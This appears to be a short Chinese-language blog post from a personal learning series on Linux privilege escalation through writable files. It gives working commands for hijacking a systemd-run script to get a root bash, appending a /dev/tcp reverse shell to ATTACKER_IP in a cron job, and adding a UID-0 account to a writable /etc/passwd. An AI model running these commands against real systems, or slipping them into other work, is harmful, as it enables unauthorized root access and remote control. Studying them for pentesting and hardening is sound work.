第29天:可写文件利用 — 将“Bad Permissions”转化为Root Shells 🕵️♂️
Source: Dev.to
“Writable‑to‑Root” 管道
1. Systemd 服务劫持
我审计了位于 /etc/systemd/system/app.service 的自定义服务文件。
缺陷:ExecStart 指向 /opt/app.py,该文件对所有用户可写 (-rwxrwxrwx)。
利用方法:
echo 'import os; os.system("/bin/bash")' > /opt/app.py触发:systemctl restart app。
由于服务管理器(systemd)以 root 身份运行,注入的 Bash shell 将以完整的 root 权限启动。
自动化:我检查了 /etc/crontab,发现有一个每分钟运行的清理脚本。
利用方法(追加反向 shell):
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/cleanup.sh结果:在 60 秒内,系统自动将一个 root shell 推送到我的监听器。
/etc/passwd(核选项)
在极少数、严重的错误配置中,/etc/passwd 可能对所有用户可写:
利用方法:生成一个新用户的密码哈希。
openssl passwd -1 mypassword注入:将以下行追加到 /etc/passwd(用生成的哈希替换 $hash)。
hacker:$hash:0:0:root:/root:/bin/bash结果:su hacker 可直接获得 root 会话,无需真实的 root 密码。
“金矿”发现命令
find / -writable -type f 2>/dev/null | grep -v "/proc"常见的可写位置包括:
/opt/(自定义应用)/usr/local/bin/(自定义脚本)/etc/systemd/system/(服务配置)/etc/cron*(计划任务)
跟随我的旅程:#1HourADayJourney